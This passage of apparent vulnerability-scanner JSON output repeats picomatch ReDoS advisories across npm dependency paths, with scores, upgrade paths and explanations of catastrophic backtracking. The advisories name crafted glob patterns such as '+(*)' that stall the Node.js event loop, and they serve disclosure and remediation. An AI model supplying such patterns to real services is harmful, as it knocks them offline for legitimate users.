what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", 